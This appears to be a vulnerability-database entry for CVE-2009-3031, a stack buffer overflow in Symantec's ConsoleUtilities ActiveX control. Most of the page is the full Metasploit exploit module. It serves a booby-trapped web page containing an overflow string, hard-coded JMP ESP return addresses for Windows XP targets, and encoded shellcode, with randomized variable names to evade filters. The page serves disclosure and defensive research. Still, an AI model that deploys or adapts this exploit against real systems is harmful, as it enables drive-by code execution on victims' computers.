Symantec ConsoleUtilities ActiveX Control Buffer Overflow

🗓️ 02 Nov 2009 21:02:45Reported by Nikolas Sotiriu (lofi)Type

Symantec ConsoleUtilities ActiveX Control Buffer Overflow. Exploits stack buffer overflow in Symantecs ConsoleUtilities, allowing arbitrary code execution

Reporter	Title	Published	Views	Family All 24
0day.today	Symantec ConsoleUtilities ActiveX Buffer Overflow	2 Nov 200900:00	–	zdt
Tenable Nessus	Altiris ConsoleUtilities 'BrowseAndSaveFile()' ActiveX Control Buffer Overflow	4 Nov 200900:00	–	nessus
Circl	CVE-2009-3031	2 Nov 200900:00	–	circl
Check Point Advisories	Symantec Multiple Products AeXNSConsoleUtilities Buffer Overflow (CVE-2009-3031; CVE-2009-3033)	16 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2009-3031	3 Nov 200916:00	–	cve
Cvelist	CVE-2009-3031	3 Nov 200916:00	–	cvelist
Exploit DB	Symantec ConsoleUtilities - ActiveX Control Buffer Overflow (Metasploit)	11 Nov 201000:00	–	exploitdb
Exploit DB	Symantec ConsoleUtilities - ActiveX Buffer Overflow (Metasploit)	2 Nov 200900:00	–	exploitdb
exploitpack	Symantec ConsoleUtilities - ActiveX Buffer Overflow (Metasploit)	2 Nov 200900:00	–	exploitpack
NVD	CVE-2009-3031	3 Nov 200916:30	–	nvd

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.
        By sending an overly long string to the "BrowseAndSaveFile()" method located
        in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
        execute arbitrary code
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
      'References'     =>
        [
          [ 'CVE', '2009-3031'],
          [ 'OSVDB', '59597'],
          [ 'BID', '36698'],
          [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
          [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1000,
          'BadChars'      => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English', 	    { 'Ret' => 0x7e47bcaf } ],
          [ 'Windows XP SP2 Universal',	    { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
          [ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
          [ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
        ],
      'DisclosureDate' => '2009-11-02',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize variables
    vname   = rand_text_alpha(rand(20) + 1)
    junk    = rand_text_alpha(rand(20) + 1)
    eip     = rand_text_alpha(rand(20) + 1)
    morejunk = rand_text_alpha(rand(20) + 1)
    sc      = rand_text_alpha(rand(20) + 1)
    buf = rand_text_alpha(rand(20) + 1)

    # Set RET and shellcode
    ret = Rex::Text.to_unescape([target.ret].pack('V'))
    shellcode = Rex::Text.to_unescape(p.encoded)

    # Build the Site
    content = %Q|
  <html>
    <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
    <script language='vbscript'>

    #{junk}=String(310,"A")
    #{eip}=unescape("#{ret}")
    #{morejunk}=String(18, unescape("%u0041"))
    #{sc}=unescape("#{shellcode}")

    #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
    #{vname}.BrowseAndSaveFile "",#{buf},"","",""
    </script>
  </html>
    |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

8.3High risk

Vulners AI Score8.3

CVSS 29.3

EPSS0.45435